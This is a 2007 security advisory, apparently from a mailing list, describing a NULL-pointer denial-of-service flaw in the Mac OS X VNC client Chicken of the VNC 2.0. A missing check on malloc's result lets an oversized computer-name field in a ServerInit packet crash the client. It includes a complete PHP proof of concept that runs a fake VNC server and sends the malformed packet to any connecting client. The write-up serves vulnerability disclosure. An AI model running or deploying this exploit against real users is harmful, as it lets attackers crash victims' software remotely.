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[EXPL] Chicken of the VNC DoS

Subject: [EXPL] Chicken of the VNC DoS
Date: 4 Feb 2007 16:39:32 +0200
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  Chicken of the VNC DoS
------------------------------------------------------------------------


SUMMARY

" <http://sourceforge.net/projects/cotvnc/> Chicken of the VNC is a VNC 
client for Mac OS X. A VNC client allows one to display and interact with 
a remote computer screen. In other words, you can use Chicken of the VNC 
to interact with a remote computer as though it's right next to you."

Cotv 2.0 is prone to a remotely exploitable denial of service 
vulnerability because it fails to validate the content of ServerInit 
packets.

DETAILS

A ServerInit packet contains the server's computer name and its size in 
the following format:
[...]<computer-name-size><computer-name>

Where:
computer-name-size is 4bytes interpreted as unsigned int representing the 
size in bytes of the computer name and computer-name is a variable size 
array of bytes representing the computer name

When Cotv receives a ServerInit packet, it first allocates a buffer by 
passing computer-name-size to malloc() and then it copies computer-name to 
the newly allocated memory.

The problem is that Cotv doesn't validate the pointer returned by malloc() 
so it's possible that a NULL-pointer will be used as the first parameter 
of memcpy() causing the program to crash.

A proof-of-concept is attached, run that PHP script and connect Cotv to it 
with a blank password (disable vnc auth)

Proof of concept:
<?
$port = "5900";


$BadServerInit=
"\x04\x00".                                     // fb-width
"\x03\x00".                                     // fb-hight
"\x20".                                         // bits per pixel
"\x18".                                         // depth
"\x00".                                         // big-endian flag
"\x01".                                         // true-color flag
"\x00\xff\x00\xff\x00\xff". // r-g-b max
"\x10\x08\x00".                         // r-g-b shift
"\x00\x00\x00".                         // padding
"\xff\xff\xff\xff".                     // computer-name size
"DIE_PLZ";                                      // computer-name


$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
socket_bind($ser,"0.0.0.0", $port);

socket_listen($ser, 5);

print "this fake vnc server will crash cotv2.0 
(http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer 
dereference
02-02-2007   poplix [@] papuasia.org
listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
        if(substr($i,0,6) == "RFB 00") break;
        
        
print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024))
        if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);


socket_close($cotv);

socket_close($ser);

print "done\n";
?>
# EOF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:poplix@papuasia.org> poplix.



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